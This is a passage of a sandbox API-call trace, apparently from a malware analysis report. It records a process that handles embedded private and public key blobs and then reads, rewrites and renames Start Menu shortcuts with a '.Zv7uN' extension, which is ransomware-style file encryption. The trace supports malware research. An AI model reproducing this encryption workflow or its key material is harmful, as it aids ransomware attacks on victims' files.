lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.892] GetCurrentThreadId () returned 0xa30 [0132.892] GetCurrentThreadId () returned 0xa30 [0132.892] GetCurrentThreadId () returned 0xa30 [0132.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.893] GetCurrentThreadId () returned 0xa30 [0132.893] GetCurrentThreadId () returned 0xa30 [0132.893] GetCurrentThreadId () returned 0xa30 [0132.893] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.893] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0132.893] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.893] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4ee [0132.893] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.894] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4ee, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0x4ee, lpOverlapped=0x0) returned 1 [0132.897] CloseHandle (hObject=0x1e8) returned 1 [0132.897] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.899] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4ee, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0x4ee, lpOverlapped=0x0) returned 1 [0132.901] CloseHandle (hObject=0x1e8) returned 1 [0132.901] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk.zv7un")) returned 1 [0132.924] GetCurrentThreadId () returned 0xa30 [0132.924] GetCurrentThreadId () returned 0xa30 [0132.924] GetCurrentThreadId () returned 0xa30 [0132.924] GetCurrentThreadId () returned 0xa30 [0132.924] GetCurrentThreadId () returned 0xa30 [0132.924] GetCurrentThreadId () returned 0xa30 [0132.924] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191902f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x191902f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1937f4d5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Firewall with Advanced Security.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0132.924] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.924] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.924] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191902f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x191902f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1937f4d5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa)) returned 1 [0132.931] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk")) returned 0x20 [0132.931] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk", dwFileAttributes=0x80) returned 1 [0132.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 